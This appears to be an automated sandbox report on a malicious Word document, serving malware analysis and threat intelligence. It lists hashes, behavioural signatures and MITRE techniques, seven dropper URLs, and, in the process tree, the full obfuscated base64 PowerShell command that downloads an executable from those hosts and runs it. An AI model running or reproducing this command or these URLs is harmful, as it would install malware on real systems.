1f5d57b0ab061a873279f01685738e025182d1b04b6f92b384439032f4832635

General

Target

sample.doc
Size

157KB
MD5

07541823190d022e1a1136ded8f06fa3
SHA1

83c4da7f699f80abb815c25677585e891a60a1ff
SHA256

9125706ef9bf6b56ee381a86a48c2c6db5aca9a2ccf49ec1ccb2682c3257966b
SHA512

d5547163c074e986efe32b9f7d071769dcdebf2a532f22b36df66a5e96bb4c1b7611d82bfe505990dddc48e48a3bebe36aac911a84fd3070d7651af7115ddf5e
SSDEEP

1536:A2Fj72Fjmrdi1Ir77zOH98Wj2gpngh+a99lJiMV:1rfrzOH98ipgbYMV

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://case.gonukkad.com/sys-cache/CjT/

exe.dropper

https://starrcoin.net/wp-admin/YT/

exe.dropper

http://modelaw.devkind.com.au/wp-admin/cvDRmGK/

exe.dropper

http://dprkp.palembang.go.id/sys-cache/7Y4aHw/

exe.dropper

http://completeguideblogging.com/euiot/PAuJG/

exe.dropper

http://qutiche.cn/wp-admin/Q/

exe.dropper

https://shiva-engineering.com/1cj/tKemHV7/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3624	3532	powershell.exe	92

Blocklisted process makes network request 2 IoCs

flow	pid	Process
39	3624	powershell.exe
44	3624	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4480	WINWORD.EXE
4480	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3624	powershell.exe
3624	powershell.exe
3624	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3624	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
4480	WINWORD.EXE
4480	WINWORD.EXE
4480	WINWORD.EXE
4480	WINWORD.EXE
4480	WINWORD.EXE
4480	WINWORD.EXE
4480	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\sample.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4480

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABVADkAcABmAHcAeQBqAD0AKAAoACcAQgA2ACcAKwAnAF8AJwApACsAKAAnAG8AOABfACcAKwAnAHAAJwApACkAOwAuACgAJwBuAGUAJwArACcAdwAtAGkAdABlAG0AJwApACAAJABlAE4AVgA6AHUAUwBlAHIAUABSAG8ARgBJAEwAZQBcAEsAWABmAEUARAAxADQAXABEAFMANQA4ADMAUgBoAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQByAEUAYwB0AE8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBDAHUAUgBgAGkAYABUAHkAUAByAG8AdABPAGMATwBMACIAIAA9ACAAKAAoACcAdAAnACsAJwBsAHMAMQAnACkAKwAoACcAMgAsACcAKwAnACAAdABsAHMAJwArACcAMQAxACcAKQArACgAJwAsACAAJwArACcAdAAnACkAKwAnAGwAJwArACcAcwAnACkAOwAkAFMAYQBrAGYAegBuAHoAIAA9ACAAKAAoACcAVQAnACsAJwBpADAAaQAnACkAKwAoACcANgBtACcAKwAnADYAJwApACkAOwAkAEkAbwBqAGgAMgBqAGEAPQAoACgAJwBWAF8AJwArACcAbgAzADAAdAAnACkAKwAnAHUAJwApADsAJABNAGYAagBuAHoAdQBmAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnADkAJwArACgAJwBLAGsASwB4ACcAKwAnAGYAZQBkACcAKwAnADEANAA5AEsAawBEAHMAJwApACsAJwA1ADgAJwArACgAJwAzAHIAJwArACcAaAA5AEsAJwArACcAawAnACkAKQAgAC0AcgBlAFAAbABBAGMAZQAgACgAJwA5ACcAKwAnAEsAawAnACkALABbAEMASABBAFIAXQA5ADIAKQArACQAUwBhAGsAZgB6AG4AegArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAEsAdwBjAGkAMgBvADkAPQAoACcAQgB0ACcAKwAoACcAZQAnACsAJwB1AHQAMABxACcAKQApADsAJABIAGoAOAA3AGwANgBiAD0ALgAoACcAbgBlACcAKwAnAHcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABuAEUAVAAuAHcARQBCAGMATABJAEUAbgB0ADsAJABEAGkAeAB6AG8AZwBlAD0AKAAoACcAaAB0AHQAJwArACcAcAAnACkAKwAnAHMAJwArACgAJwA6AC8ALwBjACcAKwAnAGEAJwArACcAcwAnACkAKwAoACcAZQAuAGcAJwArACcAbwAnACkAKwAoACcAbgAnACsAJwB1AGsAawBhAGQALgBjACcAKQArACcAbwBtACcAKwAnAC8AJwArACcAcwAnACsAKAAnAHkAcwAnACsAJwAtAGMAYQAnACkAKwAoACcAYwBoAGUALwAnACsAJwBDACcAKQArACgAJwBqACcAKwAnAFQALwAqAGgAJwApACsAJwB0AHQAJwArACcAcAAnACsAJwBzADoAJwArACgAJwAvAC8AcwAnACsAJwB0AGEAcgAnACsAJwByAGMAbwAnACsAJwBpAG4ALgAnACsAJwBuACcAKQArACcAZQAnACsAKAAnAHQALwAnACsAJwB3AHAALQBhAGQAbQBpAG4AJwArACcALwBZACcAKwAnAFQALwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAOgAvACcAKQArACgAJwAvACcAKwAnAG0AbwBkAGUAbABhAHcAJwArACcALgBkACcAKwAnAGUAdgAnACkAKwAoACcAawBpACcAKwAnAG4AZAAnACkAKwAoACcALgBjACcAKwAnAG8AbQAuACcAKQArACgAJwBhAHUAJwArACcALwB3ACcAKQArACgAJwBwAC0AJwArACcAYQBkACcAKQArACgAJwBtAGkAJwArACcAbgAnACsAJwAvAGMAJwArACcAdgBEACcAKwAnAFIAbQBHAEsALwAqACcAKwAnAGgAdAB0AHAAOgAvACcAKwAnAC8AJwArACcAZABwAHIAawBwAC4AJwArACcAcAAnACkAKwAnAGEAbAAnACsAKAAnAGUAbQBiAGEAbgAnACsAJwBnACcAKQArACcALgAnACsAJwBnACcAKwAoACcAbwAuACcAKwAnAGkAZAAvAHMAeQBzAC0AJwArACcAYwBhACcAKwAnAGMAJwApACsAKAAnAGgAZQAvADcAJwArACcAWQA0AGEAJwApACsAKAAnAEgAJwArACcAdwAvACoAaAAnACsAJwB0AHQAcAAnACkAKwAoACcAOgAnACsAJwAvAC8AYwAnACkAKwAnAG8AJwArACgAJwBtACcAKwAnAHAAbABlAHQAZQBnACcAKQArACgAJwB1ACcAKwAnAGkAZABlAGIAJwApACsAJwBsACcAKwAnAG8AZwAnACsAJwBnACcAKwAoACcAaQBuACcAKwAnAGcALgAnACsAJwBjAG8AJwApACsAKAAnAG0AJwArACcALwBlAHUAaQBvAHQAJwApACsAKAAnAC8AUABBACcAKwAnAHUASgBHACcAKQArACcALwAqACcAKwAoACcAaAB0AHQAJwArACcAcAA6AC8AJwApACsAKAAnAC8AcQAnACsAJwB1AHQAaQAnACsAJwBjAGgAZQAnACkAKwAoACcALgBjACcAKwAnAG4AJwApACsAKAAnAC8AdwBwACcAKwAnAC0AJwApACsAJwBhACcAKwAnAGQAJwArACcAbQAnACsAKAAnAGkAbgAnACsAJwAvACcAKQArACgAJwBRAC8AJwArACcAKgBoAHQAJwArACcAdABwAHMAOgAvAC8AcwAnACkAKwAoACcAaABpAHYAYQAtACcAKwAnAGUAbgAnACsAJwBnAGkAbgBlACcAKwAnAGUAcgAnACsAJwBpAG4AJwArACcAZwAuAGMAbwBtACcAKwAnAC8AMQBjACcAKwAnAGoALwB0AEsAJwArACcAZQAnACkAKwAoACcAbQBIACcAKwAnAFYAJwApACsAJwA3AC8AJwApAC4AIgBTAGAAcABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEMAeQA1AGgAcABiADQAPQAoACcAVwAxACcAKwAoACcAdgA5ACcAKwAnAHgAJwApACsAJwB5AGwAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAUQByAG8AbQA2AGEAcgAgAGkAbgAgACQARABpAHgAegBvAGcAZQApAHsAdAByAHkAewAkAEgAagA4ADcAbAA2AGIALgAiAGQAYABPAFcAbgBMAG8AQQBgAEQARgBgAEkATABlACIAKAAkAFEAcgBvAG0ANgBhAHIALAAgACQATQBmAGoAbgB6AHUAZgApADsAJABSAGgANQBpAGsAeABfAD0AKAAnAE0AZQAnACsAKAAnAGUAaABmAHEAJwArACcAMQAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABNAGYAagBuAHoAdQBmACkALgAiAGwARQBgAE4AYABnAHQAaAAiACAALQBnAGUAIAAzADYAOQAzADEAKQAgAHsAJgAoACcASQBuAHYAbwBrACcAKwAnAGUAJwArACcALQBJAHQAJwArACcAZQBtACcAKQAoACQATQBmAGoAbgB6AHUAZgApADsAJABYAHoAawB6AG0AbQBuAD0AKAAoACcARwAnACsAJwBuAGEANQAnACkAKwAnAF8AJwArACcAcwBwACcAKQA7AGIAcgBlAGEAawA7ACQAVwA3AGwAZgBoAGcAcQA9ACgAKAAnAFcAMgBrACcAKwAnADgAdwB5ACcAKQArACcAcAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFMAcAAxAF8AYQB1AG0APQAoACcATQAnACsAKAAnAHEAYgBqAF8AJwArACcAZQByACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3624

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3844 --field-trial-handle=2276,i,11674642242468042059,14711253743544118298,262144 --variations-seed-version /prefetch:8
1⤵
PID:1548

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_avnja5fr.lz0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3624-65-0x00007FFA25AF0000-0x00007FFA25CE5000-memory.dmp

Filesize
2.0MB

Download
memory/3624-86-0x00007FFA25AF0000-0x00007FFA25CE5000-memory.dmp

Filesize
2.0MB

Download
memory/3624-75-0x000001D0D4C50000-0x000001D0D4C72000-memory.dmp

Filesize
136KB

Download
memory/4480-8-0x00007FFA25AF0000-0x00007FFA25CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4480-76-0x00007FFA25AF0000-0x00007FFA25CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4480-6-0x00007FFA25AF0000-0x00007FFA25CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4480-7-0x00007FFA25AF0000-0x00007FFA25CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4480-0-0x00007FF9E5B70000-0x00007FF9E5B80000-memory.dmp

Filesize
64KB

Download
memory/4480-9-0x00007FFA25AF0000-0x00007FFA25CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4480-10-0x00007FFA25AF0000-0x00007FFA25CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4480-11-0x00007FF9E3B10000-0x00007FF9E3B20000-memory.dmp

Filesize
64KB

Download
memory/4480-12-0x00007FF9E3B10000-0x00007FF9E3B20000-memory.dmp

Filesize
64KB

Download
memory/4480-24-0x00007FFA25AF0000-0x00007FFA25CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4480-28-0x00007FFA25AF0000-0x00007FFA25CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4480-64-0x00007FFA25AF0000-0x00007FFA25CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4480-4-0x00007FFA25B8D000-0x00007FFA25B8E000-memory.dmp

Filesize
4KB

Download
memory/4480-3-0x00007FF9E5B70000-0x00007FF9E5B80000-memory.dmp

Filesize
64KB

Download
memory/4480-1-0x00007FF9E5B70000-0x00007FF9E5B80000-memory.dmp

Filesize
64KB

Download
memory/4480-5-0x00007FF9E5B70000-0x00007FF9E5B80000-memory.dmp

Filesize
64KB

Download
memory/4480-77-0x00007FFA25AF0000-0x00007FFA25CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4480-78-0x00007FFA25AF0000-0x00007FFA25CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4480-80-0x00007FFA25AF0000-0x00007FFA25CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4480-81-0x00007FFA25AF0000-0x00007FFA25CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4480-79-0x00007FFA25AF0000-0x00007FFA25CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4480-2-0x00007FF9E5B70000-0x00007FF9E5B80000-memory.dmp

Filesize
64KB

Download
memory/4480-88-0x00007FFA25AF0000-0x00007FFA25CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4480-89-0x00007FFA25AF0000-0x00007FFA25CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4480-90-0x00007FFA25AF0000-0x00007FFA25CE5000-memory.dmp

Filesize
2.0MB

Download
memory/4480-110-0x00007FF9E5B70000-0x00007FF9E5B80000-memory.dmp

Filesize
64KB

Download
memory/4480-111-0x00007FF9E5B70000-0x00007FF9E5B80000-memory.dmp

Filesize
64KB

Download
memory/4480-113-0x00007FF9E5B70000-0x00007FF9E5B80000-memory.dmp

Filesize
64KB

Download
memory/4480-112-0x00007FF9E5B70000-0x00007FF9E5B80000-memory.dmp

Filesize
64KB

Download
memory/4480-114-0x00007FFA25AF0000-0x00007FFA25CE5000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads